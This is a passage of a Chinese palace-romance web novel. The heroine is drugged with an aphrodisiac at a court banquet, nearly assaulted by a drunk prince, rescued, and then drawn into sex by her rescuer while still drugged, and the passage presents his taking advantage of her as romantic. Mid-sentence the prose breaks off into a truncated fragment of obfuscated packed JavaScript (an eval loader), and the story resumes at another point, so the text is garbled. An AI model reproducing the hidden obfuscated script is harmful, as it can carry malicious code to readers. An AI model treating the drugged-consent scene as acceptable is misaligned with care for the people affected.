容潜冷眼扫过那人:“本王不需要你来教尊卑礼数,若说尊卑,一个臣子这般同本王大呼小叫,可是想让本王也送你一程?” 容潜只可惜那杆长枪没带在身边,不然定要挑了这几人让他们永远闭嘴。 千裔清叹了口气,吵得这样不可开交,好像又是因为她的样子,若是不劝好像也有点不讲道理。 好麻烦,皇宫果然好麻烦。 她伸出手扯了扯容潜的衣袖,不在意似地笑笑:“不必动气,佑王只是不胜酒力说了些醉话而已。” 容潜面上一顿,因她开口而出现几分动容,难得的妥协了:“容泽,滚回你的位置,或者滚出华阳殿,你自己选。” 看起来佑王是真的醉了,否则也不会闹出这种动静,要知道他向来对容潜忌惮颇深,哪会到现在听得这话也是意外没动,两只眼睛死死瞪着容潜,像是要以这种方式把他洞穿。 势头不妙,容烨沉着脸对身边人抬手示意,眼下不能得罪容潜,至少现在并不是好时机。 周公公低声应了句“是”,遣着佑王身边的两个小太监连拉带扯把佑王架出华阳殿。 这插曲来的突然,去的也突然,虽是终于去了,却也扫了很多人的兴致。 筝乐又起,似是把这件事翻篇过去,容潜抿了抿唇角,端起酒盏一饮而尽,除了他微微变沉的呼吸,再难从他面色上看出还在生气。 千裔清沉吟片刻,缓缓移动酒盏,杯底在桌面划出一道水渍,最终停在他放下的酒杯旁边,带着在他空空的杯沿上碰了一下。 容潜不解道:“这是何意?” “谢殿下护着我。”她捏着酒杯一饮而尽,随后又笑了笑,极力证实自己没为刚才的事不高兴。 ......好难喝。 嘴唇被辣的不由自主抽动几下,容潜板着脸许久,直到看她被酒辣出的滑稽模样,终是没忍住笑出声。 他顺着她后脊安抚:“喝不惯就别喝了,吃点东西。” 转眼间,骨瓷小碟被填满,都是当季的果干甜点,为了压住她口中的辛辣。 皎月公主把一切看在眼里,携着秋露一道走来。她的手中捏着两只满酒的杯子,身后跟着的秋露则端着酒壶一步不落,方向正是千裔清这里。 容潜刚舒坦一些的心情立刻又变得十分不耐。今天是怎么了,他给足皇兄面子没让她太难看,怎么这皎月公主还自己找上门来了。 皎月公主笑容中带着恨意:“多谢崇安王殿下思虑周全,特意为我准备了这场送行宫宴。” “客气了。”容潜懒洋洋的,正眼都不瞧她一眼。 皎月公主接着说:“也多亏了崇安王您这一番苦心,算是让我在这宴上丢尽了脸面。” 这场宴会从头至尾如坐针毡的其实只有皎月公主一人,她在夜南没有相熟的人,所有人都带着异样眼光看她,或憎恶、或嘲讽,对她来说无疑是最大的羞辱。 她话锋一转,看着千裔清,“不过还好有姐姐陪着我。姐姐,咱们同是天涯沦落人,我敬你一杯。” 说完,皎月公主递过一只酒杯,等着千裔清接过。 容潜在一旁抱着手臂出声提醒:“不想喝就不喝。” 说得轻巧,这场宴席再怎么说是为皎月公主送行的,就算所有人都知道这是在故意打她的脸,明面上还不都是客客气气的! 她不是崇安王,没资格拒绝。 千裔清浅笑着接过酒杯:“自然是要喝的,此番公主回绥夏,以后怕是再没有见面的机会了,我敬你。” 酒杯凑近唇边,千裔清眉心一跳,送酒的动作堪堪停下。 她掀起眼帘盯着皎月公主,瞳孔中掠过一丝厌恶。 没想到皎月公主和佑王一样,也会用这种不入流的手段。 所幸千裔清方才喝过一杯,知道这酒是什么味道,现下一闻就分辨出不同。这酒仍是宫中御用的佳酿,却是加了料的。 千裔清缓缓拿开,端着酒杯的手不上不下,认真地解释:“方才刚刚喝了一杯还没缓过劲儿来,怕是要歇一歇才能陪公主共饮了。” “原来是这样,我还以为姐姐担心酒里下了药呢!”皎月公主挑眉,毫不避讳地戳穿她的心事,端着酒杯一饮而尽,“姐姐,现在可缓过来了?” 真喝了? 千裔清捏着酒杯的手指微微一动,笑着重新往唇边送。 “呀!”酒盏落地,千裔清一副为难愧疚的样子看着对方,“抱歉,实在是端的太久了手腕发酸,这一时没拿稳......坏了公主一番心意。” 以容潜对她的了解又怎会看不出这酒有异,起身握上她手腕:“既然洒了就别喝了。” 他眼神凌厉地盯着皎月公主:“皎月公主若想喝,殿上这么多人随意去找便是,不要在本王这里浪费时间!” “崇安王这番话可是太伤人了。”皎月公主也不恼,自然的拿起秋露手中的酒壶和新杯子倒上,仍是递给千裔清:“姐姐这次不会再拿不稳了吧?” 千裔清只能接过,然而凑近唇边一闻......还是不对! 容烨还在殿上坐着,若现在摔了酒杯也不是妙事,就算当场拆穿她,酒壶在她手上,她大可以扬了粹了。 ...... 喝便喝吧,左不过是些下作的小手段,她又不是解不了这药,待会儿便找个理由先回去就是。 容潜拉住她正要往嘴里送的动作:“你做什么?” 千裔清笑道:“不妨事,谢过公主美意。” 抬腕,一杯酒下肚。 .......还是好难喝。 千裔清忍着不适咽下那口酒,皎月公主见她喝了,咽下了,满意地点头客套几句,这才离开了。 “不是说酒有问题吗?为什么还喝?”容潜捏着她下巴,急着要她的解释。 千裔清想了想,说道:“这杯没事。” “真的?”容潜还有点不信。 千裔清拨开他的手,横他一眼道:“信不过我的医术?” 容潜没说话,若官朗州的弟子还信不过,那这世上再没几个人医术能得到认可了。 千裔清推测药效最多不到半个时辰就会发作,她得尽快找个借口回去。但宴会刚开始不久,崇安王作为暗中推波助澜的主角,他跟着一起离开会不会不大合适。 要她自己走吗? 正想着,一直大手覆上她的手背,千裔清侧过脑袋看向这只手的主人。 容潜关切地望着她:“怎么心不在焉的?” 千裔清犹豫着开口问他:“宴会还要多久结束?” “大约一个半时辰吧。”容潜捏着她的手背,“还说没有不高兴,这么快就想回去了?” 千裔清摇头,随口编了个理由:“没有不高兴,就是喝了点酒觉得犯困,我一向不喝酒的。” 那也不至于两杯就醉吧?容潜想着,这酒量还真是空前绝后。接着他又想了,平日里千裔清不喝酒也总是犯困,兴许还是身体没养好。 两点一总结,容潜很快说服自己,点头答应:“好,我去和皇兄说一声。” 千裔清嗯了一声,耐心在原处等着。 胃里的药还是让她隐隐不安,千裔清招来宫女要了一些浓茶,不论如何先喝上一些,能缓解一分是一分。 她看着容潜走到容烨近前,两人耳语了几句,容烨微微颔首,随即又想起什么似的,刚谈上两句,两人又一道朝着后门往重明殿去了。 周公公怕她着急,应崇安王的吩咐前来知会千裔清一句,说皇上让她稍等片刻,有关明天的事还要再同崇安王说几句话。 千裔清道了句“有劳”,谢过周公公的好意,攥紧手边的杯子又喝下一杯浓茶,手指因为紧张正在微微发抖。 若在宫里失了分寸,可不仅仅是丢面子的事了。 恰逢此时,皎月公主身边的秋露来到她身侧:“千姑娘,公主请您过去一叙。” 千裔清瞥她一眼:“我和你家公主似乎没什么交情,有什么可叙的?” 秋露料到她会说这番话,又说:“公主说,有关雪莲跟荷珠的事儿您应该有兴趣。” “没兴趣。”千裔清斩钉截铁道。 这其中的弯弯绕绕她早就猜到了,再说,不论再有什么隐情都和她没太大关系,总之她和佑王的关系不需要挑拨,因为绝无回转的可能。 秋露没想到她回答的如此果断,出乎意料的有点着急了:“那崇安王的安危你也没兴趣吗?” “没兴趣。”千裔清再次无视她的邀请。 皎月公主还是不够了解他们兄弟间的关系,一个佑王断不可能翻起什么风浪,若是璟王还有可能。 秋露被她干脆的答案噎得沉默片刻,咬着牙使出最后一道杀手锏:“那、方才的药千姑娘可有兴趣?” 千裔清悄然蹙眉,秋露又道:“奴婢知道姑娘懂医术,只是绥夏跟夜南到底不同,千姑娘.......真没兴趣?” 千裔清一言不发,就在秋露以为计划告吹时,千裔清突然提起裙摆起身,目光冷然地看着秋露:“她在哪?” 秋露这才笑了:“千姑娘随我来。” 秋露的脚步不急不缓,带着千裔清绕过几道宫墙,一路上都能见到排着长列去宴席送酒和菜的宫女。 皎月公主的脚程也真够快的,一会儿功夫竟已经在这么远的地方等着她了吗? 这想法刚在脑海中闪过,视线右侧不远处,羽亭赫然屹立着。 “你在带着我兜圈子?”千裔清停下脚步,望着前头领路那人森然开口。 秋露听得这话回头,四周皆是小径绿林,只有那处亭子非常显眼,她立刻明白千裔清话中的意思,露出一脸歉意的笑:“千姑娘莫怪,奴婢初来乍到的对宫里不熟悉,方才不小心带错了路,您别着急,前头就到了!” 千裔清闻言朝前方张望了一眼,目光落回秋露的脸上:“既然秋露姑娘不认识路,那敢问公主在哪儿等着我,还是我来带路吧。” “公主在祈霜阁呢,您瞧——”秋露指着小径尽头,祈霜阁的牌匾隐约露出半角。 千裔清已经不打算过去了,秋露分明故意在遛她。祈霜阁是佛堂,皎月公主本就不应该选这种地方同她见面,最可笑的是,这里明明距离重明殿不远,她却偏偏领着自己绕了一圈才到。 千裔清转身便走。 “千姑娘!” 清丽的女声柔柔的喊她,若非听过皎月公主的声音,千裔清简直无法相信皎月公主还有如此柔情似水的一面,她回过头,正见皎月公主从祈霜阁出来,笑着同她招手。 竟然还真在这儿等着她,这公主葫芦里卖的什么药? 秋露欠身行礼:“是奴婢不小心领错路耽误了千姑娘,请公主责罚!” “你既知道做错事,自己回去领罚就行了!” 皎月公主自然是不会真的责罚她,千裔清看得出,主仆二人不过是做个样子罢了。 皎月公主一副笑意盈盈的样子,真像是来讲和一般,越是如此就越让人心生别扭。可别扭也不行,绕了这么大一圈,人家还亲自出来迎接,她似乎没有不进去的道理。况且这地方并不算偏僻,来往的宫女太监也不少,许多都瞧见她往这边来了。 药效还没有发作的意思,和她推测时间差不多,应该没事。 千裔清便跟着她进去了,秋露则听话地把门阖上,候在门外。 一进大门,比人还大出许多的金樽佛身庄严的端坐于面前,皎月公主自顾自点燃了线香,木檀香味中包裹着烟火味道,令人肃然起敬。 她恭敬地跪在蒲团上,闭着眼睛像是默念些什么,接着把香供进香炉,看起来虔诚的不行。 千裔清冷眼旁观着,忍不住扬唇:“没想到皎月公主也信这些。” 皎月公主转过头:“是啊,姐姐要不要也来拜一拜?” “我不信这个。”千裔清扫了她一眼,意有所指,“只有亏心事做多了的人才会来佛祖面前寻求安慰,祈求没用的庇护。” 皎月公主低头笑了笑:“是啊,姐姐说的有理。” 千裔清听得汗毛立起,对她这佯装亲切的称呼觉得十分不舒服:“咱们两个好像还没好到这个份上,行了,解药给我。” 皎月公主笑着摇头,理直气壮地看着她:“我没有解药。” 千裔清皱起眉:“那酒你不是也喝了?”话一出口她立刻就想明白了,“药没在酒里,在杯子里?” 如她所料,皎月公主给了她一个肯定的回应。千裔清心头一沉,毫不犹豫转身就走。 只是—— “是你把门锁了!”怪不得秋露没有跟进来。 “是啊。”皎月公主摸着髻上的珠钗,看着她的目光陡然变得阴冷,“你在崇安王府害我受辱,今日我必定要还回来!” 有没有搞错,罪魁祸首是容潜不是她好吗? 千裔清刚想争辩,就听得正堂后的内阁传出一个模糊不清的声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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千裔清选择直接忽略她的存在,对着佑王认真道:“佑王殿下,皎月公主给我下了药,她想挑拨你们兄弟之间的关系,若我们真行了不轨之事,丢的不只是你我的脸面,还有崇安王和皇上,你别上她的当!” 顶着酒劲的佑王废了好大功夫才听明白一些,茫然的“哦”了一声,又歪着头问:“那出去不就好了?” 皎月公主腾一下起身,瞪着佑王怒其不争:“我说你还真是蠢!崇安王在殿上说的那些话你是没听到吗?他什么时候把你当过兄弟?” 佑王似乎是陷入思考,皎月公主趁机又添油加醋:“还有,你眼前这个女人打从一开始就没打算跟你讲和,你送去的雪莲是我亲眼瞧见她毁了,非但如此,她还在崇安王那里百般挑拨,你是心胸宽阔,可耐不住人家心胸狭隘呀!” 千裔清此时真想撕烂那张张搬弄是非的嘴,但她知道现在开口的作用不大。 佑王那微微攥紧的拳头,模糊不清的脑子,还有先前在殿外同她说的那些话,他已经先入为主,恐怕很难再信她。 为今之计是要先出去。 “嘭!” 一脚狠狠踹上紧闭的大门,门外铜锁跟着一阵摇晃乱响,趁这间隙,千裔清对着门外大声呼喊,希望路过的宫女太监能注意到这里的动静。 不能等到药效发作,那时就晚了! 宫里的门锁也比寻常的要结实,千裔清大力踹了几下,门缝跟着微微开合,但门锁却依旧没什么反应。 “来人啊!来——唔唔——” 皎月公主从身后捂着她的嘴,一边催促佑王:“你不是喜欢她吗,到嘴的肉你都不尝尝?” 喜欢是喜欢的,但容潜的存在提醒他不能再像以前那样猖狂,那番警告还历历在目。佑王显得很犹豫,抬头看了一眼近在眼前的美人,烈酒让他迷了心智,可本能的畏惧还在。 他不敢。 他真的不敢。 “喂!你怎么那么没种啊!”皎月公主费力捂着她的嘴,一边骂佑王,“知道本公主为什么看不上你吗?瞧你那副没出息的样子,你永远都比不上璟王,更别说是崇安王了!啊——你敢咬我!” 千裔清趁她分心一口咬上她手侧,然而方才那番话终于激起了佑王心头堵塞的怒气,他大步上前,稳准的按上千裔清肩头便要把她往内室扯。 “容泽!你害了我一次还想害我第二次吗!”千裔清挣扎着,“你看看自己在什么地方!佛祖面前你胆敢如此,就不怕上天责罚吗!” 佑王动作一顿,皇家向来对上天存有敬畏之心,朝佛礼仪更是严谨,听她这么一说,心虚地朝那尊巨大佛像看了一眼。 数丈高的金制佛像,在朦胧的醉意熏染下像是俯视他一般,吓得他猛然缩起脖子。 佛祖在看着他!佛祖在瞪着他! 千裔清趁机又说:“佑王殿下,雪莲的事我早已向你解释清楚,我知道崇安王从前一直对你礼敬有加,若你真有意和他交好我必当全力助你,皎月公主并非我族,难道你忘了武安王吗?” 这番话终于给了佑王一丝冲动,容潜虽是半路被接回宫的,但容骁可是从小和他一同长大,虽是总会拌嘴大闹,但到底情分还在。 “阶平......”佑王喃喃地念着那个名字,明明比他还小上一岁,却早早离世,而这些全都是因为—— 绥夏! 佑王顿时觉得自己酒醒了一半,手上力气越来越小,渐渐松开对千裔清的钳制。 只是还没等他彻底松手,门外随着秋露焦急慌张的阻拦声,天光缝隙银光一闪,刀锋挑起门锁的声音利落至极,下一刻,大门被从外头嘭的一声踢开。 恍若那日册封礼后,那人提着通体黑色的长枪居高临下地看着他,眼神一模一样。 “容泽。”容潜缓缓吐息,两个字冰冷的几乎冻结他全身经络,他被吓得猛然缩回手。 脱离钳制,千裔清抽身迈出几步,身形跌跌撞撞向前,不过转瞬就被眼前男人揽进怀里,扶在她后背微微发颤的手暗示他远没有表面上那般从容镇定。 “我没事。”她呼吸有点乱,心中只有一个坚定的念头,“回去,我们回去。” 悬着的心终于彻底放下,容潜轻轻提了一口气,目光落在呆滞的佑王和被秋露扶着的皎月公主:“不急,还有脏东西没处理。” 这柄长刀是他方才在路上随手拿了宫中侍卫的,不沾点血似乎可惜了。 手腕微抬,刀柄被他按在掌下,千裔清忙拉住他:“你要做什么!” 容潜柔声宽慰道:“很快的,马上就带你回家。” 他的语气温柔到极致,可眼神中的冰凉杀意不是开玩笑的,千裔清稳着自己的呼吸,死死按住他的手腕:“不能在这里动手,我们回去。” 再不回去,她怕是要撑不住了。 “你怕皇兄怪罪?”容潜侧着头看她,眼中全然没有被劝动的意思,“别怕,任何事我来担着。” 佑王终于勉强找回自己的声音,看到容潜的脸,他才觉得自己又回到现实,那份畏惧正在减少,想起大殿上的难堪,他隐隐有点被冲昏头脑的意思。 佑王冷笑一声:“怎么,你还想在这里杀了我不成?” “你以为我不敢?”容潜淡淡扫过他,佑王顿时寒意遍布全身,接着他的目光落在努力把自己藏进角落的两人,“还有你,本王给你机会让你回去做你的绥夏公主,你倒好,上赶着来找死,看来你是真不想回去。” 秋露咬了咬唇,拦在皎月公主公主身前:“崇安王误会了,这件事和公主无关,是我记恨她才会一时冲动——” “够了!”千裔清打断他们,勾着容潜的脖颈在他耳畔小声说,“这样太便宜他们了,你要为我出气就得听我的,先回去,我有更好的办法。” 阻拦显然是没有用的,容潜天不怕地不怕,千裔清相信就算自己磨破了嘴皮子,这位殿下也不会甘心停手。 可这样太耽误时间了,她觉得自己额角已经微微出汗,身体上也开始有些异样,从内向外的燥热找不到根源。 要回去,要尽快回去! 果然,听得这话,容潜出现了一丝动容,他想了想也觉得有道理,这样太便宜他们了。 长刀被随意抛在地上,容潜拦腰把她抱起,手臂上的动作温柔又小心。走出大门,千裔清才注意到外面还跟了不少侍从。 容潜沉声说:“去告诉皇兄皎月公主还想多留几日。” 身边的侍卫会意,立刻调转步伐回去通报。 揽着千裔清的手又紧了紧,容潜对着怀里的人微微一笑:“好了,我们回家。” 58. 今夜 鼻息中是熟悉的月麟香,裹挟着淡淡的酒香。 本就密闭的空间这会总让她觉得格外拥挤,明明没敢同他靠近,却还是觉得满腔都是这个男人的气息,挤压的她喘不过气。 千裔清一动也不敢动,靠在窗口边上,只希望夜风吹得再大些、再冷些。 直到现在容潜还没搞明白到底发生了什么事,一脚踢开祈霜阁大门的时候,他只看到几个人扯作一团,他无比庆幸自己终于有一次及时赶到,不然后果如何他想都不敢想,但看千裔清到现在都抿着嘴不说话,脸色难看的很,心中认定她是被吓到了。 既然如此,那两个人都别想好过了。 “呼......” 已经是第四次,容潜又听到千裔清在深深呼吸,仍别过头去背对着他,像是要把自己塞进车窗似的。 容潜伸出手,刚摸到千裔清一缕碎发,却被她浑身一颤慌忙避开。 容潜皱着眉,指尖动了动缓缓收回,语气有点委屈:“我只是看你额角好像有些汗,又一直靠着窗子,是车厢里面太热了吗?” “......有一点。”千裔清不敢多说话,她嗓子干涸的厉害,仅仅吐出的三个字都有些有气无力。 好在容潜没听出来,以为她还在生气:“你说你有更好的主意,是什么?” 千裔清当然回答不上来,那是她为了早点离开随意扯个谎而已,她将话题引到别处,问道:“你怎么知道我在那?” 容潜静默片刻,他其实有点不想说出那个名字,一脸不情愿地说:“是璟王妃,她说你跟着皎月公主身边的侍女出去了,又见你半天没回来,这才去重明殿找我。倒是你,你为什么跟她出去?” 说到这里他就来气,明知道对方不怀好意,还在她的酒里下药,面对这样的人竟还一点防备心都没有,上赶着去送死吗? 千裔清捏紧拳头,一时间哑口无言。 她总不能说自己在席间撒了谎,其实是去找皎月公主要解药的,只可惜太过自信,没想到佑王也是她计划中的一环。 沉默了好一会儿她才缓缓开口:“秋露说皎月公主有话要跟我说,刚好我也想出去透透气......” 容潜不知道什么时候已经坐到千裔清身旁,削瘦的手掌倏的横过她肩头,捏着千裔清的下巴迫使她正视自己。 千裔清呼吸一滞,耳廓陡然升温,她甚至能听到自己乱作一团的心跳声咚咚作响,眼前男人的嘴唇一张一合像是在说什么,但说了什么,她好像听不清了,只是呆呆的愣着,看着。 “你的脸怎么这么红?”这般模样终惹引得容潜发觉她的异常,带着一些探究神色。 此时的千裔清终于找回一丝神志,后撤着逃离他的钳制,下颌角处指腹的余温似乎还残存在肌肤上,那丝残存的理智找回片刻又陷入迷茫。 千裔清艰难地咽了咽口水,嗓音略微有些抑制不住的发颤:“刚才喝了酒,有点头晕。” 容潜取笑她:“两杯就给你喝成这样?” “......嗯,我说了平时不喝酒的......”千裔清心虚地扫了他一眼又扭过头,声音也跟着越来越小。 容潜叹了口气,猝不及防把她搂紧怀里,掌心在她的后背上安抚似的轻拍着:“对不起,早知道会发生这种事,我就不带你来了,是我心急,没考虑周全。” 千裔清听不清他在说些什么,她只能听到低沉细碎的声音在耳畔胸膛轰轰作响,一下一下狠狠敲击心脏。鼻尖的月麟香紧紧包裹着周身,千裔清微微移动侧脸,把自己贴的更近一些,好像这样才能更清晰的闻到他身上熏香的气息。 好香...... 好好闻...... 是不经过理智的动作,千裔清悄悄扶上容潜的腰,在他衣襟上迷恋一般蹭了几下,妆粉和口脂一同在他衣裳留下痕迹,只是这次她没有发觉。 耳畔的胸腔又在低声轰鸣,是容潜低笑了几声。 “这是在占我便宜?”他的语气带着愉悦。 隔着衣裳同他相触似乎无法满足自己,千裔清仰头,目光悄然落在他上下滚动的喉结之上,那里对她有着格外诱人的吸引力。 几乎没什么犹豫,攀着容潜的后背,下巴在他衣服摩擦着而上,直到停在他裸露在外的脖颈皮肤,他的温度好像比自己还烫。 越烫,越是让人战栗。 察觉到怀里的人很是反常,容潜微微低下头,脖颈的动作却被她微仰的脸阻拦,那处灵活的软骨抵在千裔清的鼻尖和上唇之间,像是引诱。 既是送上门来,那便没有拒绝的道理,一声急促的喘息,不需要使什么力气就轻而易举贴上。这里的温度比想象中的还要让她喜欢,双唇微启,舌尖在肌肤上留下一道水痕,整齐的贝齿轻轻啃咬几下,不曾用力,却充满了试探和挑逗意味。 下一瞬,唇上的触感猛然抽离,她的唇齿还停在方才的动作轻微张着,但很快被他长驱而入转而代之,容潜掐着她的后颈,狠狠加深了这个吻。 这个亲吻来的突然却又十分合人心意,容潜只觉得怀里的人软绵绵的,就连身体里的骨头都像软的一样,一点力气都没有,任由他按着噬咬,又配合的让他欢喜。 正当沉沦,千裔清却突然一把推开他,容潜被她这像是使出全身力气一般的动作猝不及防推开,他睁开略显迷茫的双眼,就见那个方才还与他难分难舍的人紧咬着下唇缩在车厢角落,脸上带着欲色的潮红,眼神中却是羞愤懊恼。 被下药的是千裔清并不是容潜,这个时候,饶是他再不清楚其中缘由也能发觉不对。他尝试伸手:“你......” “别过来!”千裔清又把自己往再无可退的角落里塞进一些,对着容潜摇头,“......你别过来,我中毒了。” 容潜一怔,想起她接过皎月公主递来的酒杯时的神色异常,急道:“你不是说那杯酒没事?” 千裔清皱着眉,支支吾吾道:“绥夏的药......我也并非全都熟悉......” “那怎么办?”容潜沉吟了片刻,抿唇冷冷出声,“我们现在回去找她!” “不用!”千裔清拉住他打算吩咐下人调转方向的动作,给了他一个肯定的答案,“我能解,我们先回去。” 容潜对她的信任早已减弱许多,“你真的能解?” “可以。”千裔清颔首,“药性相近,解法也不会差太多。” 容潜稳定下来,沉默半晌儿,幽幽地开口问道:“是什么药?” “应该......”千裔清犹豫了一下,小声说,“应该是绥夏的一种名叫‘春缠’的......” “春缠......”容潜垂眸重复了一遍,他对各种毒药向来不怎么了解,对绥夏的药更是没听说过,只是反复念了两遍,又将千裔清的反应与先前之事联系起来,心中隐隐有了一个猜测。 他的脸 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千裔清不敢抬头,眼帘之上的阴影却越来越广阔,直到她能清晰感受到脸颊鼻尖是他灼人的吐息,不用抬头,她也知道容潜已经近在眼前。 千裔清攥着腿边的衣料,声音又开始变得飘忽:“我只是不想给你添麻烦。” 长指勾着她轻巧的下巴边缘抬起,容潜看着她:“看着我再说一次。” “说什么?”千裔清别扭的缩了缩脖子。 他的脸色并不好看,手指紧跟着她的动作:“重复一遍你刚才说的话。” 千裔清皱眉,强忍想要靠近对方的冲动:“殿下,你能不能离我远些?” 他没听错吧,她方才叫他什么?这是急着要撇清关系吗? “你叫我什么?”容潜冷冷掀起唇角,没由来地嗤笑出声,盯着她的目光十分危险,“不敢重复是因为我说错了,还是说中了?” 接着他佯装失落地沉叹一口气,眯起眼睛弯着,像是在笑:“姐姐,方才不是你先钩引我的吗?” 俊美无比的脸庞自上而下俯视着她,两只手掌移动着覆盖在她攥紧衣裙的手背,千裔清被完全笼罩在容潜的胸膛,再也没有逃避的可能。 她发现自己的心口又在不安分的跳动,耳边的声音和风声掺杂在一起,匆匆而过便随风而去,只有眼前这张脸一直清清楚楚的停在视线内,像是在告诉自己—— 这个人是她的。 - 没人知道车厢里发生了什么。 马车稳稳当当停在王府门口时,府里的下人照例去大门迎接,可容潜的速度比他们更快。 于是众人就只看到自家主子抱着千裔清下车,他身上的黑色外袍严严实实地裹在千裔清身上,连带着脸一并挡在自己怀里,只能看到怀里那姑娘白皙的小手紧紧攀着他的肩头和衣领。 他自己则是衣裳有些凌乱,尤其胸前的衣襟皱皱巴巴的,还沾了些许的粉痕。 不光如此,借着门前灯火看去,崇安王的脸上跟脖子上......似乎有许多星星点点的红痕,颜色鲜亮的紧。 莫非是血? 大家还以为出了什么事,纷纷迎上去等待吩咐,在见到陆离跟上前的时候又停下了。 陆离大人在,可比他们有用多了。 只不过陆离跟上去没几步就被崇安王呵斥退下,陆离脚步一滞,茫然地挠了挠头。 59. 欢好 千裔清以为自己会被身体里的烈火焚烧而亡,她在偶尔清醒的时候也曾分出一丝意识思考过一些问题,例如原来她也会有不怕冷的时候、例如她也会有一天这么难以克制自己的行为。 还有很多,但她也只有机会随意想一想,剩下的思绪转瞬就被尽数吞噬。 是秋露和皎月公主故意在拖时间,现在这种结果在她进入祈霜阁大门时就已经可以预见了。 千裔清把头埋进他的怀里,趁着容潜双手都被占着而无暇顾及她时,鼻尖和下巴都已经悄悄顺着他的衣领钻进一些,领口下微露出的肌肤正在被人近乎迷恋地啃咬。 抱着她的人早已心猿意马,步伐又快了许多。 直到容潜一脚踢开了卧房大门,千裔清被这声充满了急不可耐的巨响惊到,再一次找回两分理智。 小衣上的肩带早在马车上就被扯断了,颈肩胸前白皙的雪色上比容潜身上更甚,若非被他的衣服裹着,这种样子一定是见不了人的。 在她安安稳稳的躺下之后,容潜探了探她的额头和颈项,灼热的温度都彰显她此刻状态的异常。 容潜摇摇头,神色焦急:“你等等,我去叫人备水。” 千裔清点了点下巴,趁他出门的时候翻身下床,几乎是连滚带爬的来到立柜前。 幸好,她的药箱还呆在原处。 早知道她不该去铺子里买那些新梅瓶的,这下可倒好,换过的瓷瓶看起来都不熟悉,非要她一个个打开才能知道装了些什么。 所幸液状的药物并不算多,摇摇晃晃、再打开来闻闻就能分的清了。 容潜回房时就看到千裔清正扒着柜门叮铃咣当的找东西,还能是什么,除了她那个宝贝的不得了的药匣子。 容潜眯着眼睛,顺手把门从里头锁了个严严实实,一步一步接近她身后。 千裔清听到他的声音在头顶响起,很近,语气淡淡的:“你在找什么?” 她的手一抖,险些把瓶里的药酒撒出来:“......药。” “药?”他的声音显得很诧异,而后在千裔清头顶低声笑道,“我不是在这吗,还找什么?” 千裔清皱眉,不安地朝柜子里缩进一些,避开额角上叮咬她的热气:“马上就找到了,你......你不用管我。” 一只手强势地抽出她手中的药瓶随意丢回药箱中,接着又掰过她伸进柜里一半的脑袋,顺势将柜门啪的一声合上。 这一连串的动作在千裔清迷迷糊糊的脑袋中发生的如电光火石一般,待她意识到发生什么时,那人已经从身后把她抵在储柜门板上。 不带温度的木板带来的凉意和她身上形成鲜明对比,瞬间又让人清明一些。 容潜的声音像是委屈,又像是哄骗:“姐姐还是一如既往的没良心呢,方才车上还对我又抱又亲的,现在用不着了,就想把我一脚踢开了。” 这番话实打实的说中她的心思,尤其那声姐姐叫的她心中软软的。 该死,明知道她这会抵抗力弱到不行,他这分明是故意的! 容潜叹了一声,指腹摩挲在她肩头扯烂的衣衫上,有意无意触碰到她红霞映雪的肌肤:“你说祝音救过你,谢子源救过你,那我今天是不是也算救了你?你要怎么报答我?” 千裔清冷着脸反驳:“不算,今天的事本来就因你而起,若非你让皎月公主丢尽脸面,她报复你不成才会来找我!” 容潜无辜道:“不是你让我迎她入府的吗?” “我是让你娶她。”千裔清动了动身子,发现腰上被他手臂箍的紧紧的,任凭她再怎么挣扎都无济于事。 不仅如此,她觉得越是挣扎,反而越觉得难受。 “可我不想娶她。”容潜咬着她的耳廓微微用力,带了一丝惩戒的意味,惩罚她方才说错了话,“我不想娶她,我想娶你。” 千裔清掰着腰上的手指,刚掰开两根,回应她的却是另一只手也环上,将她彻底扣紧在身后男人怀里。 “刚才在车上还解我衣带,这会又不肯让我碰了,你这人怎么翻脸比翻书还快?” 容潜还在继续复述她的所做所为,“我的舌尖嘴唇都快被你咬破了,这笔账要怎么算,嗯?” 千裔清嗓音都在发颤,她闭了闭眼,突然觉得委屈。她不想去算这一笔笔的账,这一切都好似因果报应,算来算去,千裔清发现自己根本不配怪他。 罢了。 “你想怎么样?” 千裔清侧过脑袋,驻留在耳畔的唇舌自然而然落在她抬起的侧脸。灼人的呼吸洒在脸颊上,急促的、沉重的、蛊人的。 容潜望着她:“忘了告诉你,你穿红色......甚美。” 他想,这身红色若换成鲜艳的嫁衣,一定更美。 他的眉眼藏着无限眷恋痴迷,鼻间的吐息沉了又沉:“本想再等等的,等你真的为我穿上嫁衣的时候......”顿了顿,目光扫过她的衣着颜色,带着祈求问道,“就当作是......就当作是吧,可以吗?” 不待千裔清拒绝,容潜轻而易举地把她打横抱起,三两步来到床榻跟前,丢在床上的动作有些急切,也有些不够温柔。 千裔清对接下来的发展已经能猜到八九不离十,但还是想挣扎一下。 她把两只手推阻在两人之间,抗拒着男人强压下来的身体:“你明知道我是受你胁迫才留在这里,难道身为王爷就可以这样胡作非为?那你和佑王他们又有什么两样!” 容潜抓着她的两只腕子扣在头顶,勾着唇角道:“你喜欢我,我就永远不会和他一样。” ...... 是她刚才没说明白? 千裔清无奈,身上的异样又让她觉得茫然找不到支点:“我什么时候说过喜欢你?” “你的眼神,你说过的话还有你为我做的每一件事都表明了,你喜欢我。”容潜俯身低头,在她唇畔磨蹭两下,“我都知道的。” 这两下蹭的她心痒难耐,不由自主挺起上身去迎合,然而刚凑近一点,她想起自己明明是要拒绝的,急忙撤回迎上的动作。 落在容潜眼中就颇有些欲迎还拒的意思。 他嗤笑一声:“还说不喜欢?” 千裔清有点羞恼地别过头:“你明知道这不是我的本意。” 容潜摇了摇头,看起来神色愉悦:“两情相悦也好,趁人之危也罢。姐姐,你当真不要我?” 他一定是故意的,故意亲昵地叫她,故意在她颈窝磨蹭,故意扣着她手腕让她动弹不得,又故意把膝盖陷进她腿侧轻轻磨蹭。 他的声音像是蛊惑人心的缅铃,悦耳之极。 千裔清从没想过自己会紧紧攀着一个男人的脖子,内心疯狂的渴求他能再亲近自己一些,但又好像如何与他亲近都不够。 总是不够。 容潜任由她撕扯下自己的衣服,指甲在他干净的肌肤上留下一道一道急不可耐的红痕,如一尊神明一般安然不动,好整以暇地垂头望着她,甚至刻意拉开一点距离。 他按下千裔清再度袭上的红唇,诱惑一般轻刮两下:“要,还是不要?” 她睁着朦胧不清的双眼,柔柔的含着波光,似是呢喃了一句:“......要。” 